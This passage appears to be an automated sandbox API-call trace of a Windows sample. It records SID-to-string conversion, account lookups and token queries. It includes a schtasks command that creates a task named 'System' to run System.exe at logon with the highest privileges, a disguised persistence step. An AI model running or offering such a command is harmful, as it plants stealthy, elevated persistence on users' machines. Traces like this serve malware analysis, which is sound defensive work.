[0128.204] SysStringLen (param_1="1560258661") returned 0xa [0128.204] memcpy (in: _Dst=0x196ee777ca8, _Src=0x196ee7aaa18, _Size=0x14 | out: _Dst=0x196ee777ca8) returned 0x196ee777ca8 [0128.204] memcpy (in: _Dst=0x196ee777cba, _Src=0x196ee7c7588, _Size=0x16 | out: _Dst=0x196ee777cba) returned 0x196ee777cba [0128.204] free (_Block=0x196ef0d19c0) [0128.204] free (_Block=0x196ef0d1c60) [0128.204] GetSidSubAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0e30 [0128.204] _ultow (in: _Dest=0xeddecfcf, _Radix=1895810256 | out: _Dest=0xeddecfcf) returned="3990802383" [0128.204] malloc (_Size=0x18) returned 0x196ef0d1f40 [0128.204] malloc (_Size=0x18) returned 0x196ef0d1e80 [0128.204] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0128.204] SysStringLen (param_1="-") returned 0x1 [0128.204] memcpy (in: _Dst=0x196ee777668, _Src=0x196ee777ca8, _Size=0x28 | out: _Dst=0x196ee777668) returned 0x196ee777668 [0128.204] memcpy (in: _Dst=0x196ee77768e, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee77768e) returned 0x196ee77768e [0128.205] free (_Block=0x196ef0d1a40) [0128.205] free (_Block=0x196ef0d1f40) [0128.205] malloc (_Size=0x18) returned 0x196ef0d1d00 [0128.205] malloc (_Size=0x18) returned 0x196ef0d1f40 [0128.205] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0128.205] SysStringLen (param_1="3990802383") returned 0xa [0128.205] memcpy (in: _Dst=0x196ee82ce38, _Src=0x196ee777668, _Size=0x2a | out: _Dst=0x196ee82ce38) returned 0x196ee82ce38 [0128.205] memcpy (in: _Dst=0x196ee82ce60, _Src=0x196ee7aaa18, _Size=0x16 | out: _Dst=0x196ee82ce60) returned 0x196ee82ce60 [0128.205] free (_Block=0x196ef0d1e80) [0128.205] free (_Block=0x196ef0d1d00) [0128.205] GetSidSubAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0e34 [0128.205] _ultow (in: _Dest=0x6bfcce57, _Radix=1895810256 | out: _Dest=0x6bfcce57) returned="1811730007" [0128.205] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0128.205] malloc (_Size=0x18) returned 0x196ef0d2060 [0128.205] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0128.205] SysStringLen (param_1="-") returned 0x1 [0128.205] memcpy (in: _Dst=0x196ee82dd38, _Src=0x196ee82ce38, _Size=0x3e | out: _Dst=0x196ee82dd38) returned 0x196ee82dd38 [0128.205] memcpy (in: _Dst=0x196ee82dd74, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee82dd74) returned 0x196ee82dd74 [0128.205] free (_Block=0x196ef0d1f40) [0128.205] free (_Block=0x196ef0d1ec0) [0128.205] malloc (_Size=0x18) returned 0x196ef0d20c0 [0128.206] malloc (_Size=0x18) returned 0x196ef0d1c60 [0128.206] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0128.206] SysStringLen (param_1="1811730007") returned 0xa [0128.206] memcpy (in: _Dst=0x196ee82ce38, _Src=0x196ee82dd38, _Size=0x40 | out: _Dst=0x196ee82ce38) returned 0x196ee82ce38 [0128.206] memcpy (in: _Dst=0x196ee82ce76, _Src=0x196ee7aaa18, _Size=0x16 | out: _Dst=0x196ee82ce76) returned 0x196ee82ce76 [0128.206] free (_Block=0x196ef0d2060) [0128.206] free (_Block=0x196ef0d20c0) [0128.206] GetSidSubAuthority (pSid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0e38 [0128.206] _ultow (in: _Dest=0x3e8, _Radix=1895810256 | out: _Dest=0x3e8) returned="1000" [0128.206] malloc (_Size=0x18) returned 0x196ef0d1f20 [0128.206] malloc (_Size=0x18) returned 0x196ef0d1f40 [0128.206] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0128.206] SysStringLen (param_1="-") returned 0x1 [0128.206] memcpy (in: _Dst=0x196ee82dd38, _Src=0x196ee82ce38, _Size=0x54 | out: _Dst=0x196ee82dd38) returned 0x196ee82dd38 [0128.206] memcpy (in: _Dst=0x196ee82dd8a, _Src=0x196ee7aaa18, _Size=0x4 | out: _Dst=0x196ee82dd8a) returned 0x196ee82dd8a [0128.206] free (_Block=0x196ef0d1c60) [0128.206] free (_Block=0x196ef0d1f20) [0128.206] malloc (_Size=0x18) returned 0x196ef0d20e0 [0128.206] malloc (_Size=0x18) returned 0x196ef0d1a40 [0128.206] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0128.206] SysStringLen (param_1="1000") returned 0x4 [0128.207] memcpy (in: _Dst=0x196ee82ce38, _Src=0x196ee82dd38, _Size=0x56 | out: _Dst=0x196ee82ce38) returned 0x196ee82ce38 [0128.207] memcpy (in: _Dst=0x196ee82ce8c, _Src=0x196ee7aaa18, _Size=0xa | out: _Dst=0x196ee82ce8c) returned 0x196ee82ce8c [0128.207] free (_Block=0x196ef0d1f40) [0128.207] free (_Block=0x196ef0d20e0) [0128.207] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0128.207] malloc (_Size=0x5e) returned 0x196ef0d03e0 [0128.207] free (_Block=0x196ef0d1a40) [0128.207] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0128.207] free (_Block=0x196ef0d03e0) [0128.207] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690 | out: Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690) returned 0 [0128.209] GetLastError () returned 0x7a [0128.209] malloc (_Size=0x1a) returned 0x196ef0f9a90 [0128.209] malloc (_Size=0xe) returned 0x196ef0d1d00 [0128.209] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0e20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0f9a90, cchName=0x670ffc5a0, ReferencedDomainName=0x196ef0d1d00, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690 | out: Name="RDhJ0CNFevzX", cchName=0x670ffc5a0, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x670ffc608, peUse=0x670ffc690) returned 1 [0128.210] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0128.210] malloc (_Size=0x18) returned 0x196ef0d1c20 [0128.210] free (_Block=0x196ef0f9a90) [0128.210] free (_Block=0x196ef0d1d00) [0128.210] free (_Block=0x196ef0f9f10) [0128.210] free (_Block=0x196ef0d1c20) [0128.210] free (_Block=0x196ef0d1ba0) [0128.210] free (_Block=0x196ef0d1aa0) [0128.211] free (_Block=0x196ef0d0e10) [0128.211] SetEvent (hEvent=0x248) returned 1 [0128.212] free (_Block=0x196ef0cd160) [0128.213] CreateEnvironmentBlock () returned 0x1 [0128.218] malloc (_Size=0x18) returned 0x196ef0d1e20 [0128.218] CreateProcessAsUserW (in: hToken=0x320, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"System\" /sc ONLOGON /tr \"'C:\\Users\\All Users\\Application Data\\System.exe'\" /rl HIGHEST /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x196ef1f3020, lpCurrentDirectory=0x0, lpStartupInfo=0x670ffc800*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x670ffc6a8 | out: lpCommandLine="schtasks.exe /create /tn \"System\" /sc ONLOGON /tr \"'C:\\Users\\All Users\\Application Data\\System.exe'\" /rl HIGHEST /f", lpProcessInformation=0x670ffc6a8*(hProcess=0x260, hThread=0x264, dwProcessId=0x348, dwThreadId=0x28c)) returned 1 [0128.227] CloseHandle (hObject=0x260) returned 1 [0128.227] CloseHandle (hObject=0x264) returned 1 [0128.228] free (_Block=0x196ef0d1e20) [0128.228] DestroyEnvironmentBlock () returned 0x1 [0128.228] malloc (_Size=0x48) returned 0x196ef0ccda0 [0128.228] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x670ffc680 | out: lpSystemTimeAsFileTime=0x670ffc680*(dwLowDateTime=0x2d47fa44, dwHighDateTime=0x1d9eb0c)) [0128.228] SetEvent (hEvent=0x248) returned 1 [0128.229] CloseHandle (hObject=0x33c) returned 1 [0128.229] CloseHandle (hObject=0x320) returned 1 [0128.235] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ee788350 [0128.235] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee788350, pulNumLanguages=0x670ffdf80 | out: pulNumLanguages=0x670ffdf80) returned 1 [0128.235] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788350) returned 1 [0128.235] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0128.635] RtlRestoreLastWin32Error () returned 0x670db9000 [0128.635] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffddb0 | out: pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffddb0) returned 1 [0128.635] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0128.636] RtlRestoreLastWin32Error () returned 0x670db9000 [0128.636] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x670ffddb0 | out: pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x670ffddb0) returned 1 [0128.636] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788250 [0128.636] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0128.636] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7d80 [0128.636] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7d80, pulNumLanguages=0x670ffdeb8 | out: pulNumLanguages=0x670ffdeb8) returned 1 [0128.636] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7d80) returned 1 [0128.638] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0128.639] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0128.639] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0128.639] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0128.640] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0128.642] GetCurrentThread () returned 0xfffffffffffffffe [0128.642] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x670ffc740 | out: TokenHandle=0x670ffc740*=0x320) returned 1 [0128.642] DuplicateTokenEx (in: hExistingToken=0x320, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x19600000001, phNewToken=0x670ffc758 | out: phNewToken=0x670ffc758*=0x33c) returned 1 [0128.642] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x0, ReturnLength=0x670ffc6e0) returned 0 [0128.642] GetLastError () returned 0x7a [0128.642] malloc (_Size=0x2c) returned 0x196ef0d0ad0 [0128.642] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x196ef0d0ad0, TokenInformationLength=0x2c, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x196ef0d0ad0, ReturnLength=0x670ffc6e0) returned 1 [0128.642] IsValidSid (pSid=0x196ef0d0ae0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0128.642] GetLengthSid (pSid=0x196ef0d0ae0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0128.643] malloc (_Size=0x1c) returned 0x196ef0f9dc0 [0128.643] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9dc0, pSourceSid=0x196ef0d0ae0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9dc0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0128.643] GetSidIdentifierAuthority (pSid=0x196ef0d0ae0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0ae2 [0128.643] malloc (_Size=0x18) returned 0x196ef0d1a40 [0128.643] _ultow (in: _Dest=0x5, _Radix=1895810256 | out: _Dest=0x5) returned="5" [0128.643] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0128.643] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0128.643] SysStringLen (param_1="S-1-") returned 0x4 [0128.643] SysStringLen (param_1="5") returned 0x1 [0128.643] memcpy (in: _Dst=0x196ee7aa988, _Src=0x196ee7aab68, _Size=0xa | out: _Dst=0x196ee7aa988) returned 0x196ee7aa988 [0128.643] memcpy (in: _Dst=0x196ee7aa990, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7aa990) returned 0x196ee7aa990 [0128.643] free (_Block=0x196ef0d1a40) [0128.643] free (_Block=0x196ef0d1ba0) [0128.643] GetSidSubAuthorityCount (pSid=0x196ef0d0ae0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0ae1 [0128.643] GetSidSubAuthority (pSid=0x196ef0d0ae0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0ae8 [0128.643] _ultow (in: _Dest=0x15, _Radix=1895810256 | out: _Dest=0x15) returned="21" [0128.643] malloc (_Size=0x18) returned 0x196ef0d1d40 [0128.643] malloc (_Size=0x18) returned 0x196ef0d1a80 [0128.643] SysStringLen (param_1="S-1-5") returned 0x5 [0128.643] SysStringLen (param_1="-") returned 0x1 [0128.643] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7aa988, _Size=0xc | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0128.644] memcpy (in: _Dst=0x196ee7aab42, _Src=0x196ee7aab68, _Size=0x4 | out: _Dst=0x196ee7aab42) returned 0x196ee7aab42 [0128.644] free (_Block=0x196ef0d1aa0) [0128.644] free (_Block=0x196ef0d1d40) [0128.644] malloc (_Size=0x18) returned 0x196ef0d1c00 [0128.644] malloc (_Size=0x18) returned 0x196ef0d1f00 [0128.644] SysStringLen (param_1="S-1-5-") returned 0x6 [0128.644] SysStringLen (param_1="21") returned 0x2 [0128.644] memcpy (in: _Dst=0x196ee7aab68, _Src=0x196ee7aab38, _Size=0xe | out: _Dst=0x196ee7aab68) returned 0x196ee7aab68 [0128.644] memcpy (in: _Dst=0x196ee7aab74, _Src=0x196ee7aa988, _Size=0x6 | out: _Dst=0x196ee7aab74) returned 0x196ee7aab74 [0128.644] free (_Block=0x196ef0d1a80) [0128.644] free (_Block=0x196ef0d1c00) [0128.644] GetSidSubAuthority (pSid=0x196ef0d0ae0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0aec [0128.644] _ultow (in: _Dest=0x5cffa865, _Radix=1895810256 | out: _Dest=0x5cffa865) returned="1560258661" [0128.644] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0128.644] malloc (_Size=0x18) returned 0x196ef0d1a80 [0128.644] SysStringLen (param_1="S-1-5-21") returned 0x8 [0128.644] SysStringLen (param_1="-") returned 0x1 [0128.644] memcpy (in: _Dst=0x196ee7aa988, _Src=0x196ee7aab68, _Size=0x12 | out: _Dst=0x196ee7aa988) returned 0x196ee7aa988 [0128.644] memcpy (in: _Dst=0x196ee7aa998, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7aa998) returned 0x196ee7aa998 [0128.644] free (_Block=0x196ef0d1f00) [0128.644] free (_Block=0x196ef0d1ba0) [0128.644] malloc (_Size=0x18) returned 0x196ef0d20a0 [0128.645] malloc (_Size=0x18) returned 0x196ef0d1a40 [0128.645] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0128.645] SysStringLen (param_1="1560258661") returned 0xa [0128.645] memcpy (in: _Dst=0x196ee777b68, _Src=0x196ee7aa988, _Size=0x14 | out: _Dst=0x196ee777b68) returned 0x196ee777b68 [0128.645] memcpy (in: _Dst=0x196ee777b7a, _Src=0x196ee7aab68, _Size=0x16 | out: _Dst=0x196ee777b7a) returned 0x196ee777b7a [0128.645] free (_Block=0x196ef0d1a80) [0128.645] free (_Block=0x196ef0d20a0) [0128.645] GetSidSubAuthority (pSid=0x196ef0d0ae0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0af0 [0128.645] _ultow (in: _Dest=0xeddecfcf, _Radix=1895810256 | out: _Dest=0xeddecfcf) returned="3990802383" [0128.645] malloc (_Size=0x18) returned 0x196ef0d2020 [0128.645] malloc (_Size=0x18) returned 0x196ef0d1c80 [0128.645] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0128.645] SysStringLen (param_1="-") returned 0x1 [0128.645] memcpy (in: _Dst=0x196ee777c08, _Src=0x196ee777b68, _Size=0x28 | out: _Dst=0x196ee777c08) returned 0x196ee777c08 [0128.645] memcpy (in: _Dst=0x196ee777c2e, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee777c2e) returned 0x196ee777c2e [0128.645] free (_Block=0x196ef0d1a40) [0128.645] free (_Block=0x196ef0d2020) [0128.645] malloc (_Size=0x18) returned 0x196ef0d1aa0 [0128.645] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0128.645] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0128.645] SysStringLen (param_1="3990802383") returned 0xa [0128.645] memcpy (in: _Dst=0x196ee7bb1c8, _Src=0x196ee777c08, _Size=0x2a | out: _Dst=0x196ee7bb1c8) returned 0x196ee7bb1c8 [0128.646] memcpy (in: _Dst=0x196ee7bb1f0, _Src=0x196ee7aa988, _Size=0x16 | out: _Dst=0x196ee7bb1f0) returned 0x196ee7bb1f0 [0128.646] free (_Block=0x196ef0d1c80) [0128.646] free (_Block=0x196ef0d1aa0) [0128.646] GetSidSubAuthority (pSid=0x196ef0d0ae0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0af4 [0128.646] _ultow (in: _Dest=0x6bfcce57, _Radix=1895810256 | out: _Dest=0x6bfcce57) returned="1811730007" [0128.646] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0128.646] malloc (_Size=0x18) returned 0x196ef0d1e80 [0128.646] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0128.646] SysStringLen (param_1="-") returned 0x1 [0128.646] memcpy (in: _Dst=0x196ee7bb2d8, _Src=0x196ee7bb1c8, _Size=0x3e | out: _Dst=0x196ee7bb2d8) returned 0x196ee7bb2d8 [0128.646] memcpy (in: _Dst=0x196ee7bb314, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7bb314) returned 0x196ee7bb314 [0128.646] free (_Block=0x196ef0d1ac0) [0128.646] free (_Block=0x196ef0d1bc0) [0128.646] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0128.646] malloc (_Size=0x18) returned 0x196ef0d1ca0 [0128.646] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0128.646] SysStringLen (param_1="1811730007") returned 0xa [0128.646] memcpy (in: _Dst=0x196ee7bb1c8, _Src=0x196ee7bb2d8, _Size=0x40 | out: _Dst=0x196ee7bb1c8) returned 0x196ee7bb1c8 [0128.646] memcpy (in: _Dst=0x196ee7bb206, _Src=0x196ee7aa988, _Size=0x16 | out: _Dst=0x196ee7bb206) returned 0x196ee7bb206 [0128.646] free (_Block=0x196ef0d1e80) [0128.646] free (_Block=0x196ef0d1ba0) [0128.647] GetSidSubAuthority (pSid=0x196ef0d0ae0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x196ef0d0af8 [0128.647] _ultow (in: _Dest=0x3e8, _Radix=1895810256 | out: _Dest=0x3e8) returned="1000" [0128.647] malloc (_Size=0x18) returned 0x196ef0d1f00 [0128.647] malloc (_Size=0x18) returned 0x196ef0d2020 [0128.647] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0128.647] SysStringLen (param_1="-") returned 0x1 [0128.647] memcpy (in: _Dst=0x196ee7bb2d8, _Src=0x196ee7bb1c8, _Size=0x54 | out: _Dst=0x196ee7bb2d8) returned 0x196ee7bb2d8 [0128.647] memcpy (in: _Dst=0x196ee7bb32a, _Src=0x196ee7aa988, _Size=0x4 | out: _Dst=0x196ee7bb32a) returned 0x196ee7bb32a [0128.647] free (_Block=0x196ef0d1ca0) [0128.647] free (_Block=0x196ef0d1f00) [0128.647] malloc (_Size=0x18) returned 0x196ef0d19a0 [0128.647] malloc (_Size=0x18) returned 0x196ef0d19c0 [0128.647] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0128.647] SysStringLen (param_1="1000") returned 0x4 [0128.647] memcpy (in: _Dst=0x196ee7bb1c8, _Src=0x196ee7bb2d8, _Size=0x56 | out: _Dst=0x196ee7bb1c8) returned 0x196ee7bb1c8 [0128.647] memcpy (in: _Dst=0x196ee7bb21c, _Src=0x196ee7aa988, _Size=0xa | out: _Dst=0x196ee7bb21c) returned 0x196ee7bb21c [0128.647] free (_Block=0x196ef0d2020) [0128.647] free (_Block=0x196ef0d19a0) [0128.647] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0128.647] malloc (_Size=0x5e) returned 0x196ef0d0370 [0128.647] free (_Block=0x196ef0d19c0) [0128.647] malloc (_Size=0x18) returned 0x196ef0d1c20 [0128.648] free (_Block=0x196ef0d0370) [0128.648] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0ae0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698 | out: Name=0x0, cchName=0x670ffc5a0, ReferencedDomainName=0x0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698) returned 0 [0128.649] GetLastError () returned 0x7a [0128.649] malloc (_Size=0x1a) returned 0x196ef0fa0f0 [0128.649] malloc (_Size=0xe) returned 0x196ef0d1da0 [0128.649] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x196ef0d0ae0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x196ef0fa0f0, cchName=0x670ffc5a0, ReferencedDomainName=0x196ef0d1da0, cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698 | out: Name="RDhJ0CNFevzX", cchName=0x670ffc5a0, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x670ffc608, peUse=0x670ffc698) returned 1 [0128.650] malloc (_Size=0x18) returned 0x196ef0d1e80 [0128.651] malloc (_Size=0x18) returned 0x196ef0d1c40 [0128.651] free (_Block=0x196ef0fa0f0) [0128.651] free (_Block=0x196ef0d1da0) [0128.651] free (_Block=0x196ef0f9dc0) [0128.651] free (_Block=0x196ef0d1c40) [0128.651] free (_Block=0x196ef0d1e80) [0128.651] free (_Block=0x196ef0d1c20) [0128.652] free (_Block=0x196ef0d0ad0) [0128.652] GetVersionExW (in: lpVersionInformation=0x670ffc870*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0xee795208, dwBuildNumber=0x196, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x670ffc870*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0128.652] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x0, ReturnLength=0x670ffc6e0) returned 0 [0128.652] GetLastError () returned 0x7a [0128.652] malloc (_Size=0x2c) returned 0x196ef0d1690 [0128.652] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x1, TokenInformation=0x196ef0d1690, TokenInformationLength=0x2c, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x196ef0d1690, ReturnLength=0x670ffc6e0) returned 1 [0128.652] IsValidSid (pSid=0x196ef0d16a0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0128.652] GetLengthSid (pSid=0x196ef0d16a0*(Revision=0x1, SubAuthorityCount=0x5, 